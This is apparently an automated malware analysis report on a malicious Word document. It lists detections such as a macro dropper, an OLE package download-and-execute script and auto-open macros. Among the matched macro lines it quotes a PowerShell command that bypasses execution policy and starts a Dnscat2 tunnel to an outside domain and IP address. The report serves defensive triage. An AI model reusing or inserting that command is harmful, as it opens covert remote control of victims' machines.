Malicious Office (OLE) — malware analysis report

Heuristics 20

• OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
  Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
• ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
• Ole10Native package payload is a download-and-execute script critical OFFICE_PACKAGE_SCRIPT_DROPPER
  The OLE Package's embedded payload contains a script that hosts a shell (PowerShell/WScript/mshta), fetches a remote resource, and executes it — a download-and-run dropper. Embedding such a script inside an Office document via the Object Packager is a direct user-execution delivery technique (MITRE T1204.002), not a benign attachment.
• Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
  OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
• VBA macros detected medium 7 related findings OLE_VBA_MACROS
  Document contains VBA macro code
• Potential Shell call in VBA critical OLE_VBA_SHELL
  Potential Shell call in VBA
  Matched line in script

      Next num
  Call Shell("TASKKILL /IM notepad.exe", vbHide)
  Set oShell = CreateObject("WScript.Shell")

• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

  Call Shell("TASKKILL /IM notepad.exe", vbHide)
  Set oShell = CreateObject("WScript.Shell")
  temp = oShell.ExpandEnvironmentStrings("%temp%") & "\VacationCalc (2).ps1"

• PowerShell reference in VBA critical OLE_VBA_PS
  PowerShell reference in VBA
  Matched line in script

  objFSO.CopyFile temp, temp2
  Call Shell("powershell -executionpolicy bypass -command &{Import-Module $env:temp\VacationCalc.ps1; Start-Dnscat2 -Domain www.mysurveygift.com -DNSServer 35.162.238.198 -PreSharedSecret 1}", vbHide)
  End Sub

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

  Call Shell("TASKKILL /IM notepad.exe", vbHide)
  Set oShell = CreateObject("WScript.Shell")
  temp = oShell.ExpandEnvironmentStrings("%temp%") & "\VacationCalc (2).ps1"

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• AutoOpen macro low OLE_VBA_AUTOOPEN
  AutoOpen macro
  Matched line in script

  Sub AutoOpen()
    oqH8L

• Workbook_Open macro low OLE_VBA_WBOPEN
  Workbook_Open macro
  Matched line in script

  End Sub
  Sub Workbook_Open()
    oqH8L

• Reference to ShellExecute API high SC_STR_SHELLEXEC
  Reference to ShellExecute API
• Reference to PowerShell high SC_STR_POWERSHELL
  Reference to PowerShell
• Reference to Windows Script Host high SC_STR_WSCRIPT
  Reference to Windows Script Host
• Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
  OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
• Macro/content-enable lure medium SE_ENABLE_LURE
  Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
• Visual download / call-to-action button lure low SE_DOWNLOAD_BUTTON
  Document contains a call-to-action phrase ('Click here to download', 'Download Now', etc.) — low-signal unless other findings point to a malicious workflow
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://labs.rebex.net/curves Embedded OLE package script

  • https://gist.github.com/FrankSpierings/3577b0365d02df6f7eebEmbedded OLE package script
  • https://gist.github.com/FrankSpierings/c18da658e06948313fffEmbedded OLE package script
  • http://keccak.noekeon.org/Embedded OLE package script
  • http://cr.yp.to/snuffle/salsa20/ref/salsa20.cEmbedded OLE package script
  • http://creativecommons.org/licenses/publicdomain/Embedded OLE package script
  • http://cr.yp.to/snuffle.htmlEmbedded OLE package script
  • http://code.logos.com/blog/2008/06/salsa20_implementation_in_c_1.htmlEmbedded OLE package script
  • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
  • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
  • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Open this report in the interactive analyzer, or submit your own file for analysis.